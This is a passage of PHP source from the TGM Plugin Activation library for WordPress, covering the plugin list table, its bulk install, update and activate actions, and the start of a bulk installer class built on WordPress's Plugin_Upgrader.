			$this->tgmpa->thickbox();

			// Categorize the plugins which have open actions.
			$plugins = $this->categorize_plugins_to_views();

			// Set the counts for the view links.
			$this->set_view_totals( $plugins );

			// Prep variables for use and grab list of all installed plugins.
			$table_data = array();
			$i          = 0;

			foreach ( $plugins[ $this->view_context ] as $slug => $plugin ) {

				$table_data[ $i ]['sanitized_plugin']  = $plugin['name'];
				$table_data[ $i ]['slug']              = $slug;
				$table_data[ $i ]['plugin']            = '<strong>' . $this->tgmpa->get_info_link( $slug ) . '</strong>';
				$table_data[ $i ]['source']            = $this->get_plugin_source_type_text( $plugin['source_type'] );
				$table_data[ $i ]['type']              = $this->get_plugin_advise_type_text( $plugin['required'] );
				$table_data[ $i ]['status']            = $this->get_plugin_status_text( $slug );
				$table_data[ $i ]['installed_version'] = $this->tgmpa->get_installed_version( $slug );
				$table_data[ $i ]['minimum_version']   = $plugin['version'];
				$table_data[ $i ]['available_version'] = $this->tgmpa->does_plugin_have_update( $slug );

				// Prep the upgrade notice info.
				$upgrade_notice = $this->tgmpa->get_upgrade_notice( $slug );
				if ( ! empty( $upgrade_notice ) ) {
					$table_data[ $i ]['upgrade_notice'] = $upgrade_notice;

					add_action( "tgmpa_after_plugin_row_$slug", array( $this, 'wp_plugin_update_row' ), 10, 2 );
				}

				$table_data[ $i ] = apply_filters( 'tgmpa_table_data_item', $table_data[ $i ], $plugin );

				$i ++;
			}

			return $table_data;

		}

		/**
		 * Categorize the plugins which have open actions into views for the TGMPA page.
		 *
		 * @since 2.5.0
		 */
		protected function categorize_plugins_to_views() {

			$plugins = array(
				'all'      => array(), // Meaning: all plugins which still have open actions.
				'install'  => array(),
				'update'   => array(),
				'activate' => array(),
			);

			foreach ( $this->tgmpa->plugins as $slug => $plugin ) {

				if ( $this->tgmpa->is_plugin_active( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) {
					// No need to display plugins if they are installed, up-to-date and active.
					continue;

				} else {
					$plugins['all'][ $slug ] = $plugin;

					if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) {
						$plugins['install'][ $slug ] = $plugin;

					} else {
						if ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) {
							$plugins['update'][ $slug ] = $plugin;
						}

						if ( $this->tgmpa->can_plugin_activate( $slug ) ) {
							$plugins['activate'][ $slug ] = $plugin;
						}
					}
				}
			}

			return $plugins;
		}

		/**
		 * Set the counts for the view links.
		 *
		 * @param array $plugins Plugins order by view.
		 *
		 * @since 2.5.0
		 *
		 */
		protected function set_view_totals( $plugins ) {

			foreach ( $plugins as $type => $list ) {
				$this->view_totals[ $type ] = count( $list );
			}
		}

		/**
		 * Get the plugin required/recommended text string.
		 *
		 * @param string $required Plugin required setting.
		 *
		 * @return string
		 * @since 2.5.0
		 *
		 */
		protected function get_plugin_advise_type_text( $required ) {

			if ( true === $required ) {
				return esc_html__( 'Required', 'tgmpa' );
			}

			return esc_html__( 'Recommended', 'tgmpa' );
		}

		/**
		 * Get the plugin source type text string.
		 *
		 * @param string $type Plugin type.
		 *
		 * @return string
		 * @since 2.5.0
		 *
		 */
		protected function get_plugin_source_type_text( $type ) {
			$string = '';

			switch ( $type ) {
				case 'repo':
					$string = esc_html__( 'WordPress Repository', 'tgmpa' );
					break;

				case 'external':
					$string = esc_html__( 'External Source', 'tgmpa' );
					break;

				case 'bundled':
					$string = esc_html__( 'Pre-Packaged', 'tgmpa' );
					break;
			}

			return $string;
		}

		/**
		 * Determine the plugin status message.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string
		 * @since 2.5.0
		 *
		 */
		protected function get_plugin_status_text( $slug ) {

			if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) {
				return esc_html__( 'Not Installed', 'tgmpa' );
			}

			if ( ! $this->tgmpa->is_plugin_active( $slug ) ) {
				$install_status = esc_html__( 'Installed But Not Activated', 'tgmpa' );
			} else {
				$install_status = esc_html__( 'Active', 'tgmpa' );
			}

			$update_status = '';

			if ( $this->tgmpa->does_plugin_require_update( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) {
				$update_status = esc_html__( 'Required Update not Available', 'tgmpa' );

			} elseif ( $this->tgmpa->does_plugin_require_update( $slug ) ) {
				$update_status = esc_html__( 'Requires Update', 'tgmpa' );

			} elseif ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) {
				$update_status = esc_html__( 'Update recommended', 'tgmpa' );
			}

			if ( '' === $update_status ) {
				return $install_status;
			}

			return sprintf( _x( '%1$s, %2$s', '%1$s = install status, %2$s = update status', 'tgmpa' ), $install_status, $update_status );
		}

		/**
		 * Sort plugins by Required/Recommended type and by alphabetical plugin name within each type.
		 *
		 * @param array $items Prepared table items.
		 *
		 * @return array Sorted table items.
		 * @since 2.5.0
		 *
		 */
		public function sort_table_items( $items ) {

			$type = array();
			$name = array();

			foreach ( $items as $i => $plugin ) {
				$type[ $i ] = $plugin['type']; // Required / recommended.
				$name[ $i ] = $plugin['sanitized_plugin'];
			}

			array_multisort( $type, SORT_DESC, $name, SORT_ASC, $items );

			return $items;

		}

		/**
		 * Get an associative array ( id => link ) of the views available on this table.
		 *
		 * @return array
		 * @since 2.5.0
		 *
		 */
		public function get_views() {

			$status_links = array();

			foreach ( $this->view_totals as $type => $count ) {
				if ( $count < 1 ) {
					continue;
				}

				switch ( $type ) {
					case 'all':
						$text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'plugins', 'tgmpa' );
						break;

					case 'install':
						$text = _n( 'To Install <span class="count">(%s)</span>', 'To Install <span class="count">(%s)</span>', $count, 'tgmpa' );
						break;

					case 'update':
						$text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count, 'tgmpa' );
						break;

					case 'activate':
						$text = _n( 'To Activate <span class="count">(%s)</span>', 'To Activate <span class="count">(%s)</span>', $count, 'tgmpa' );
						break;

					default:
						$text = '';
						break;
				}

				if ( ! empty( $text ) ) {

					$status_links[ $type ] = sprintf( '<a href="%s"%s>%s</a>', esc_url( $this->tgmpa->get_tgmpa_status_url( $type ) ), ( $type === $this->view_context ) ? ' class="current"' : '', sprintf( $text, number_format_i18n( $count ) ) );
				}
			}

			return $status_links;
		}

		/**
		 * Create default columns to display important plugin information
		 * like type, action and status.
		 *
		 * @param array $item Array of item data.
		 * @param string $column_name The name of the column.
		 *
		 * @return string
		 * @since 2.2.0
		 *
		 */
		public function column_default( $item, $column_name ) {

			return $item[ $column_name ];

		}

		/**
		 * Required for bulk installing.
		 *
		 * Adds a checkbox for each plugin.
		 *
		 * @param array $item Array of item data.
		 *
		 * @return string     The input checkbox with all necessary info.
		 * @since 2.2.0
		 *
		 */
		public function column_cb( $item ) {

			return sprintf( '<input type="checkbox" name="%1$s[]" value="%2$s" id="%3$s" />', esc_attr( $this->_args['singular'] ), esc_attr( $item['slug'] ), esc_attr( $item['sanitized_plugin'] ) );

		}

		/**
		 * Create default title column along with the action links.
		 *
		 * @param array $item Array of item data.
		 *
		 * @return string     The plugin name and action links.
		 * @since 2.2.0
		 *
		 */
		public function column_plugin( $item ) {

			return sprintf( '%1$s %2$s', $item['plugin'], $this->row_actions( $this->get_row_actions( $item ), true ) );
		}

		/**
		 * Create version information column.
		 *
		 * @param array $item Array of item data.
		 *
		 * @return string     HTML-formatted version information.
		 * @since 2.5.0
		 *
		 */
		public function column_version( $item ) {

			$output = array();

			if ( $this->tgmpa->is_plugin_installed( $item['slug'] ) ) {
				$installed = ! empty( $item['installed_version'] ) ? $item['installed_version'] : _x( 'unknown', 'as in: "version nr unknown"', 'tgmpa' );

				$color = '';
				if ( ! empty( $item['minimum_version'] ) && $this->tgmpa->does_plugin_require_update( $item['slug'] ) ) {
					$color = ' color: #ff0000; font-weight: bold;';
				}

				$output[] = sprintf( '<p><span style="min-width: 32px; text-align: right; float: right;%1$s">%2$s</span>' . esc_html__( 'Installed version:', 'tgmpa' ) . '</p>', $color, $installed );
			}

			if ( ! empty( $item['minimum_version'] ) ) {
				$output[] = sprintf( '<p><span style="min-width: 32px; text-align: right; float: right;">%1$s</span>' . esc_html__( 'Minimum required version:', 'tgmpa' ) . '</p>', $item['minimum_version'] );
			}

			if ( ! empty( $item['available_version'] ) ) {
				$color = '';
				if ( ! empty( $item['minimum_version'] ) && version_compare( $item['available_version'], $item['minimum_version'], '>=' ) ) {
					$color = ' color: #71C671; font-weight: bold;';
				}

				$output[] = sprintf( '<p><span style="min-width: 32px; text-align: right; float: right;%1$s">%2$s</span>' . esc_html__( 'Available version:', 'tgmpa' ) . '</p>', $color, $item['available_version'] );
			}

			if ( empty( $output ) ) {
				return '&nbsp;'; // Let's not break the table layout.
			} else {
				return implode( "\n", $output );
			}
		}

		/**
		 * Sets default message within the plugins table if no plugins
		 * are left for interaction.
		 *
		 * Hides the menu item to prevent the user from clicking and
		 * getting a permissions error.
		 *
		 * @since 2.2.0
		 */
		public function no_items() {

			printf( wp_kses_post( __( 'No plugins to install, update or activate. <a href="%1$s">Return to the Dashboard</a>', 'tgmpa' ) ), esc_url( self_admin_url() ) );
			echo '<style type="text/css">#adminmenu .wp-submenu li.current { display: none !important; }</style>';

		}

		/**
		 * Output all the column information within the table.
		 *
		 * @return array $columns The column names.
		 * @since 2.2.0
		 *
		 */
		public function get_columns() {

			$columns = array(
				'cb'     => '<input type="checkbox" />',
				'plugin' => esc_html__( 'Plugin', 'tgmpa' ),
				'source' => esc_html__( 'Source', 'tgmpa' ),
				'type'   => esc_html__( 'Type', 'tgmpa' ),
			);

			if ( 'all' === $this->view_context || 'update' === $this->view_context ) {
				$columns['version'] = esc_html__( 'Version', 'tgmpa' );
				$columns['status']  = esc_html__( 'Status', 'tgmpa' );
			}

			return apply_filters( 'tgmpa_table_columns', $columns );

		}

		/**
		 * Get the actions which are relevant for a specific plugin row.
		 *
		 * @param array $item Array of item data.
		 *
		 * @return array      Array with relevant action links.
		 * @since 2.5.0
		 *
		 */
		protected function get_row_actions( $item ) {

			$actions      = array();
			$action_links = array();

			// Display the 'Install' action link if the plugin is not yet available.
			if ( ! $this->tgmpa->is_plugin_installed( $item['slug'] ) ) {

				$actions['install'] = _x( 'Install %2$s', '%2$s = plugin name in screen reader markup', 'tgmpa' );

			} else {
				// Display the 'Update' action link if an update is available and WP complies with plugin minimum.
				if ( false !== $this->tgmpa->does_plugin_have_update( $item['slug'] ) && $this->tgmpa->can_plugin_update( $item['slug'] ) ) {

					$actions['update'] = _x( 'Update %2$s', '%2$s = plugin name in screen reader markup', 'tgmpa' );
				}

				// Display the 'Activate' action link, but only if the plugin meets the minimum version.
				if ( $this->tgmpa->can_plugin_activate( $item['slug'] ) ) {

					$actions['activate'] = _x( 'Activate %2$s', '%2$s = plugin name in screen reader markup', 'tgmpa' );
				}
			}

			// Create the actual links.
			foreach ( $actions as $action => $text ) {
				$nonce_url = wp_nonce_url( add_query_arg( array(
					'plugin'           => urlencode( $item['slug'] ),
					'tgmpa-' . $action => $action . '-plugin',
				), $this->tgmpa->get_tgmpa_url() ), 'tgmpa-' . $action, 'tgmpa-nonce' );

				$action_links[ $action ] = sprintf( '<a href="%1$s">' . esc_html( $text ) . '</a>', esc_url( $nonce_url ), '<span class="screen-reader-text">' . esc_html( $item['sanitized_plugin'] ) . '</span>' );
			}

			$prefix = ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN ) ? 'network_admin_' : '';

			return apply_filters( "tgmpa_{$prefix}plugin_action_links", array_filter( $action_links ), $item['slug'], $item, $this->view_context );
		}

		/**
		 * Generates content for a single row of the table.
		 *
		 * @param object $item The current item.
		 *
		 * @since 2.5.0
		 *
		 */
		public function single_row( $item ) {

			parent::single_row( $item );

			/**
			 * Fires after each specific row in the TGMPA Plugins list table.
			 *
			 * The dynamic portion of the hook name, `$item['slug']`, refers to the slug
			 * for the plugin.
			 *
			 * @since 2.5.0
			 */
			do_action( "tgmpa_after_plugin_row_{$item['slug']}", $item['slug'], $item, $this->view_context );
		}

		/**
		 * Show the upgrade notice below a plugin row if there is one.
		 *
		 * @param string $slug Plugin slug.
		 * @param array $item The information available in this table row.
		 *
		 * @since 2.5.0
		 *
		 * @see /wp-admin/includes/update.php
		 *
		 */
		public function wp_plugin_update_row( $slug, $item ) {

			if ( empty( $item['upgrade_notice'] ) ) {
				return;
			}

			echo '
				<tr class="plugin-update-tr">
					<td colspan="', absint( $this->get_column_count() ), '" class="plugin-update colspanchange">
						<div class="update-message">', esc_html__( 'Upgrade message from the plugin author:', 'tgmpa' ), ' <strong>', wp_kses_data( $item['upgrade_notice'] ), '</strong>
						</div>
					</td>
				</tr>';
		}

		/**
		 * Extra controls to be displayed between bulk actions and pagination.
		 *
		 * @param string $which 'top' or 'bottom' table navigation
		 *
		 * @since 2.5.0
		 *
		 */
		public function extra_tablenav( $which ) {
			if ( 'bottom' === $which ) {
				$this->tgmpa->show_tgmpa_version();
			}
		}

		/**
		 * Defines the bulk actions for handling registered plugins.
		 *
		 * @return array $actions The bulk actions for the plugin install table.
		 * @since 2.2.0
		 *
		 */
		public function get_bulk_actions() {

			$actions = array();

			if ( 'update' !== $this->view_context && 'activate' !== $this->view_context ) {
				if ( current_user_can( 'install_plugins' ) ) {
					$actions['tgmpa-bulk-install'] = esc_html__( 'Install', 'tgmpa' );
				}
			}

			if ( 'install' !== $this->view_context ) {
				if ( current_user_can( 'update_plugins' ) ) {
					$actions['tgmpa-bulk-update'] = esc_html__( 'Update', 'tgmpa' );
				}
				if ( current_user_can( 'activate_plugins' ) ) {
					$actions['tgmpa-bulk-activate'] = esc_html__( 'Activate', 'tgmpa' );
				}
			}

			return $actions;
		}

		/**
		 * Processes bulk installation and activation actions.
		 *
		 * The bulk installation process looks for the $_POST information and passes that
		 * through if a user has to use WP_Filesystem to enter their credentials.
		 *
		 * @since 2.2.0
		 */
		public function process_bulk_actions() {

			// Bulk installation process.
			if ( 'tgmpa-bulk-install' === $this->current_action() || 'tgmpa-bulk-update' === $this->current_action() ) {

				check_admin_referer( 'bulk-' . $this->_args['plural'] );

				$install_type = 'install';
				if ( 'tgmpa-bulk-update' === $this->current_action() ) {
					$install_type = 'update';
				}

				$plugins_to_install = array();

				if ( ! empty( $_POST['plugin'] ) ) {

					if ( is_array( $_POST['plugin'] ) ) {
						$plugins_to_install = (array) $_POST['plugin'];

					} elseif ( is_string( $_POST['plugin'] ) ) {
						// Received via Filesystem page - un-flatten array (WP bug #19643).
						$plugins_to_install = explode( ',', $_POST['plugin'] );
					}

					// Sanitize the received input.
					$plugins_to_install = array_map( 'urldecode', $plugins_to_install );
					$plugins_to_install = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins_to_install );

					// Validate the received input.
					foreach ( $plugins_to_install as $key => $slug ) {
						// Check if the plugin was registered with TGMPA and remove if not.
						if ( ! isset( $this->tgmpa->plugins[ $slug ] ) ) {
							unset( $plugins_to_install[ $key ] );
							continue;
						}

						// For updates: make sure this is a plugin we *can* update (update available and WP version ok).
						if ( 'update' === $install_type && ( $this->tgmpa->is_plugin_installed( $slug ) && ( false === $this->tgmpa->does_plugin_have_update( $slug ) || ! $this->tgmpa->can_plugin_update( $slug ) ) ) ) {
							unset( $plugins_to_install[ $key ] );
						}
					}
				}

				// No need to proceed further if we have no plugins to handle.
				if ( empty( $plugins_to_install ) ) {
					if ( 'install' === $install_type ) {
						$message = esc_html__( 'No plugins are available to be installed at this time.', 'tgmpa' );
					} else {
						$message = esc_html__( 'No plugins are available to be updated at this time.', 'tgmpa' );
					}

					echo '<div id="message" class="error"><p>', esc_html( $message ), '</p></div>';

					return false;
				}

				// Pass all necessary information if WP_Filesystem is needed.
				$url = wp_nonce_url( $this->tgmpa->get_tgmpa_url(), 'bulk-' . $this->_args['plural'] );

				// Give validated data back to $_POST which is the only place the filesystem looks for extra fields.
				$_POST['plugin'] = implode( ',', $plugins_to_install ); // Work around for WP bug #19643.

				$method = ''; // Leave blank so WP_Filesystem can populate it as necessary.
				$fields = array_keys( $_POST ); // Extra fields to pass to WP_Filesystem.

				if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, $fields ) ) ) {
					return true; // Stop the normal page form from displaying, credential request form will be shown.
				}

				// Now we have some credentials, setup WP_Filesystem.
				if ( ! WP_Filesystem( $creds ) ) {
					// Our credentials were no good, ask the user for them again.
					request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, $fields );

					return true;
				}

				/* If we arrive here, we have the filesystem */

				// Store all information in arrays since we are processing a bulk installation.
				$names      = array();
				$sources    = array(); // Needed for installs.
				$file_paths = array(); // Needed for upgrades.
				$to_inject  = array(); // Information to inject into the update_plugins transient.

				// Prepare the data for validated plugins for the install/upgrade.
				foreach ( $plugins_to_install as $slug ) {
					$name   = $this->tgmpa->plugins[ $slug ]['name'];
					$source = $this->tgmpa->get_download_url( $slug );

					if ( ! empty( $name ) && ! empty( $source ) ) {
						$names[] = $name;

						switch ( $install_type ) {

							case 'install':
								$sources[] = $source;
								break;

							case 'update':
								$file_paths[]                 = $this->tgmpa->plugins[ $slug ]['file_path'];
								$to_inject[ $slug ]           = $this->tgmpa->plugins[ $slug ];
								$to_inject[ $slug ]['source'] = $source;
								break;
						}
					}
				}
				unset( $slug, $name, $source );

				// Create a new instance of TGM_Bulk_Installer.
				$installer = new TGM_Bulk_Installer( new TGM_Bulk_Installer_Skin( array(
					'url'          => esc_url_raw( $this->tgmpa->get_tgmpa_url() ),
					'nonce'        => 'bulk-' . $this->_args['plural'],
					'names'        => $names,
					'install_type' => $install_type,
				) ) );

				// Wrap the install process with the appropriate HTML.
				echo '<div class="tgmpa wrap">', '<h2>', esc_html( get_admin_page_title() ), '</h2>';

				// Process the bulk installation submissions.
				add_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1, 3 );

				if ( 'tgmpa-bulk-update' === $this->current_action() ) {
					// Inject our info into the update transient.
					$this->tgmpa->inject_update_info( $to_inject );

					$installer->bulk_upgrade( $file_paths );
				} else {
					$installer->bulk_install( $sources );
				}

				remove_filter( 'upgrader_source_selection', array( $this->tgmpa, 'maybe_adjust_source_dir' ), 1, 3 );

				echo '</div>';

				return true;
			}

			// Bulk activation process.
			if ( 'tgmpa-bulk-activate' === $this->current_action() ) {

				check_admin_referer( 'bulk-' . $this->_args['plural'] );

				// Grab plugin data from $_POST.
				$plugins = array();
				if ( isset( $_POST['plugin'] ) ) {
					$plugins = array_map( 'urldecode', (array) $_POST['plugin'] );
					$plugins = array_map( array( $this->tgmpa, 'sanitize_key' ), $plugins );
				}

				$plugins_to_activate = array();
				$plugin_names        = array();

				// Grab the file paths for the selected & inactive plugins from the registration array.
				foreach ( $plugins as $slug ) {
					if ( $this->tgmpa->can_plugin_activate( $slug ) ) {
						$plugins_to_activate[] = $this->tgmpa->plugins[ $slug ]['file_path'];
						$plugin_names[]        = $this->tgmpa->plugins[ $slug ]['name'];
					}
				}
				unset( $slug );

				// Return early if there are no plugins to activate.
				if ( empty( $plugins_to_activate ) ) {
					echo '<div id="message" class="error"><p>', esc_html__( 'No plugins are available to be activated at this time.', 'tgmpa' ), '</p></div>';

					return false;
				}

				// Now we are good to go - let's start activating plugins.
				$activate = activate_plugins( $plugins_to_activate );

				if ( is_wp_error( $activate ) ) {
					echo '<div id="message" class="error"><p>', wp_kses_post( $activate->get_error_message() ), '</p></div>';

				} else {
					$count        = count( $plugin_names ); // Count so we can use _n function.
					$plugin_names = array_map( array( 'TGM_Utils', 'wrap_in_strong' ), $plugin_names );
					$last_plugin  = array_pop( $plugin_names ); // Pop off last name to prep for readability.
					$imploded     = empty( $plugin_names ) ? $last_plugin : ( implode( ', ', $plugin_names ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'tgmpa' ) . ' ' . $last_plugin );

					printf( // WPCS: xss ok.
						'<div id="message" class="updated"><p>%1$s %2$s.</p></div>', esc_html( _n( 'The following plugin was activated successfully:', 'The following plugins were activated successfully:', $count, 'tgmpa' ) ), $imploded );

					// Update recently activated plugins option.
					$recent = (array) get_option( 'recently_activated' );
					foreach ( $plugins_to_activate as $plugin => $time ) {
						if ( isset( $recent[ $plugin ] ) ) {
							unset( $recent[ $plugin ] );
						}
					}
					update_option( 'recently_activated', $recent );

				}

				unset( $_POST ); // Reset the $_POST variable in case user wants to perform one action after another.

				return true;
			}

			return false;
		}

		/**
		 * Prepares all of our information to be outputted into a usable table.
		 *
		 * @since 2.2.0
		 */
		public function prepare_items() {

			$columns               = $this->get_columns(); // Get all necessary column information.
			$hidden                = array(); // No columns to hide, but we must set as an array.
			$sortable              = array(); // No reason to make sortable columns.
			$this->_column_headers = array( $columns, $hidden, $sortable ); // Get all necessary column headers.

			// Process our bulk actions here.
			if ( false !== $this->current_action() ) {
				$this->process_bulk_actions();
			}

			// Store all of our plugin data into $items array so WP_List_Table can use it.
			$this->items = apply_filters( 'tgmpa_table_data_items', $this->_gather_plugin_data() );

		}


		/* *********** DEPRECATED METHODS *********** */

		/**
		 * Retrieve plugin data, given the plugin name.
		 *
		 * @param string $name Name of the plugin, as it was registered.
		 * @param string $data Optional. Array key of plugin data to return. Default is slug.
		 *
		 * @return string|boolean Plugin slug if found, false otherwise.
		 * @since      2.2.0
		 * @deprecated 2.5.0 use {@see TGM_Plugin_Activation::_get_plugin_data_from_name()} instead.
		 * @see        TGM_Plugin_Activation::_get_plugin_data_from_name()
		 *
		 */
		protected function _get_plugin_data_from_name( $name, $data = 'slug' ) {
			_deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'TGM_Plugin_Activation::_get_plugin_data_from_name()' );

			return $this->tgmpa->_get_plugin_data_from_name( $name, $data );
		}

	}
}

/**
 * The WP_Upgrader file isn't always available. If it isn't available,
 * we load it here.
 *
 * We check to make sure no action or activation keys are set so that WordPress
 * does not try to re-include the class when processing upgrades or installs outside
 * of the class.
 *
 * @since 2.2.0
 */
add_action( 'admin_init', 'tgmpa_load_bulk_installer' );
if ( ! function_exists( 'tgmpa_load_bulk_installer' ) ) {
	/**
	 * Load bulk installer
	 */
	function tgmpa_load_bulk_installer() {
		// Get TGMPA class instance.
		$tgmpa_instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );

		if ( isset( $_GET['page'] ) && $tgmpa_instance->menu === $_GET['page'] ) {

			if ( ! class_exists( 'Plugin_Upgrader', false ) ) {
				require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
			}

			if ( ! class_exists( 'TGM_Bulk_Installer' ) ) {

				/**
				 * Installer class to handle bulk plugin installations.
				 *
				 * Extends WP_Upgrader and customizes to suit the installation of multiple
				 * plugins.
				 *
				 * @since 2.2.0
				 *
				 * @internal Since 2.5.0 the class is an extension of Plugin_Upgrader rather than WP_Upgrader
				 *
				 * @package TGM-Plugin-Activation
				 * @author  Thomas Griffin
				 * @author  Gary Jones
				 */
				class TGM_Bulk_Installer extends Plugin_Upgrader {

					/**
					 * Holds result of bulk plugin installation.
					 *
					 * @since 2.2.0
					 *
					 * @var string
					 */
					public $result;

					/**
					 * Flag to check if bulk installation is occurring or not.
					 *
					 * @since 2.2.0
					 *
					 * @var boolean
					 */
					public $bulk = false;

					/**
					 * TGMPA instance
					 *
					 * @since 2.5.0
					 *
					 * @var object
					 */
					protected $tgmpa;

					/**
					 * Whether or not the destination directory needs to be cleared ( = on update).
					 *
					 * @since 2.5.0
					 *
					 * @var bool
					 */
					protected $clear_destination = false;

					/**
					 * References parent constructor and sets defaults for class.
					 *
					 * @param \Bulk_Upgrader_Skin|null $skin Installer skin.
					 *
					 * @since 2.2.0
					 *
					 */
					public function __construct( $skin = null ) {
						// Get TGMPA class instance.
						$this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );

						parent::__construct( $skin );

						if ( isset( $this->skin->options['install_type'] ) && 'update' === $this->skin->options['install_type'] ) {
							$this->clear_destination = true;
						}

						if ( $this->tgmpa->is_automatic ) {
							$this->activate_strings();
						}

						add_action( 'upgrader_process_complete', array( $this->tgmpa, 'populate_file_path' ) );
					}

					/**
					 * Sets the correct activation strings for the installer skin to use.
					 *
					 * @since 2.2.0
					 */
					public function activate_strings() {

						$this->strings['activation_failed']  = esc_html__( 'Plugin activation failed.', 'tgmpa' );
						$this->strings['activation_success'] = esc_html__( 'Plugin activated successfully.', 'tgmpa' );
					}

					/**
					 * Performs the actual installation of each plugin.
					 *
					 * @param array $options The installation config options.
					 *
					 * @return null|array Return early if error, array of installation data on success.
					 * @since 2.2.0
					 *
					 * @see WP_Upgrader::run()
					 *
					 */
					public function run( $options ) {
						$result = parent::run( $options );

						// Reset the strings in case we changed one during automatic activation.
						if ( $this->tgmpa->is_automatic ) {
							if ( 'update' === $this->skin->options['install_type'] ) {
								$this->upgrade_strings();
							} else {
								$this->install_strings();
							}
						}

						return $result;
					}

					/**
					 * Processes the bulk installation of plugins.
					 *
					 * @param array $plugins The plugin sources needed for installation.
					 * @param array $args Arbitrary passed extra arguments.
					 *
					 * @return string|bool Install confirmation messages on success, false on failure.
					 * @see https://core.trac.wordpress.org/browser/tags/4.2.1/src/wp-admin/includes/class-wp-upgrader.php#L838
					 *
					 * @since 2.2.0
					 *
					 * @internal This is basically a near identical copy of the WP Core Plugin_Upgrader::bulk_upgrade()
					 * method, with minor adjustments to deal with new installs instead of upgrades.
					 * For ease of future synchronizations, the adjustments are clearly commented, but no other
					 * comments are added. Code style has been made to comply.
					 *
					 * @see Plugin_Upgrader::bulk_upgrade()
					 */
					public function bulk_install( $plugins, $args = array() ) {

						// [TGMPA + ] Hook auto-activation in
						add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 );

						$defaults    = array(
							'clear_update_cache' => true,
						);
						$parsed_args = wp_parse_args( $args, $defaults );

						$this->init();
						$this->bulk = true;

						$this->install_strings(); // [TGMPA + ] adjusted

						/* [TGMPA - ] $current = get_site_transient( 'update_plugins' ); */

						/* [TGMPA - ] add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4); */

						$this->skin->header();

						// Connect to the Filesystem first.
						$res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) );
						if ( ! $res ) {
							$this->skin->footer();

							return false;
						}

						$this->skin->bulk_header();

						// Only start maintenance mode if:
						// - running Multisite and there are one or more plugins specified, OR
						// - a plugin with an update available is currently active.
						// @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible.
						$maintenance = ( is_multisite() && ! empty( $plugins ) );

						/*
						[TGMPA - ]
						foreach ( $plugins as $plugin )
							$maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin] ) );
						*/
						if ( $maintenance ) {
							$this->maintenance_mode( true );
						}

						$results = array();

						$this->update_count   = count( $plugins );
						$this->update_current = 0;
						foreach ( $plugins as $plugin ) {
							$this->update_current ++;

							/*
							[TGMPA - ]
							$this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true);

							if ( !isset( $current->response[ $plugin ] ) ) {
								$this->skin->set_result('up_to_date');
								$this->skin->before();
								$this->skin->feedback('up_to_date');
								$this->skin->after();
								$results[$plugin] = true;
								continue;
							}

							// Get the URL to the zip file
							$r = $current->response[ $plugin ];

							$this->skin->plugin_active = is_plugin_active($plugin);
							*/

							$result = $this->run( array(
								'package'           => $plugin, // [TGMPA + ] adjusted
								'destination'       => WP_PLUGIN_DIR,
								'clear_destination' => false, // [TGMPA + ] adjusted
								'clear_working'     => true,
								'is_multi'          => true,
								'hook_extra'        => array(
									'plugin' => $plugin,
								)
							) );

							$results[ $plugin ] = $this->result;

							// Prevent credentials auth screen from displaying multiple times.
							if ( false === $result ) {
								break;
							}
						} //end foreach $plugins

						$this->maintenance_mode( false );

						/**
						 * Fires when the bulk upgrader process is complete.
						 *
						 * @param Plugin_Upgrader $this Plugin_Upgrader instance. In other contexts, $this, might
						 *                              be a Theme_Upgrader or Core_Upgrade instance.
						 * @param array $data {
						 *     Array of bulk item update data.
						 *
						 * @type string $action Type of action. Default 'update'.
						 * @type string $type Type of update process. Accepts 'plugin', 'theme', or 'core'.
						 * @type bool $bulk Whether the update process is a bulk update. Default true.
						 * @type array $packages Array of plugin, theme, or core packages to update.
						 * }
						 * @since WP 3.6.0 / TGMPA 2.5.0
						 *
						 */
						do_action( 'upgrader_process_complete', $this, array(
							'action'  => 'install', // [TGMPA + ] adjusted
							'type'    => 'plugin',
							'bulk'    => true,
							'plugins' => $plugins,
						) );

						$this->skin->bulk_footer();

						$this->skin->footer();

						// Cleanup our hooks, in case something else does a upgrade on this connection.
						/* [TGMPA - ] remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin')); */

						// [TGMPA + ] Remove our auto-activation hook.
						remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 );

						// Force refresh of plugin update information.
						wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

						return $results;
					}

					/**
					 * Handle a bulk upgrade request.
					 *
					 * @param array $plugins The local WP file_path's of the plugins which should be upgraded.
					 * @param array $args Arbitrary passed extra arguments.
					 *
					 * @return string|bool Install confirmation messages on success, false on failure.
					 * @see Plugin_Upgrader::bulk_upgrade()
					 *
					 * @since 2.5.0
					 *
					 */
					public function bulk_upgrade( $plugins, $args = array() ) {

						add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 );

						$result = parent::bulk_upgrade( $plugins, $args );

						remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 );

						return $result;
					}

					/**
					 * Abuse a filter to auto-activate plugins after installation.
					 *
					 * Hooked into the 'upgrader_post_install' filter hook.
					 *
					 * @param bool $bool The value we need to give back (true).
					 *
					 * @return bool
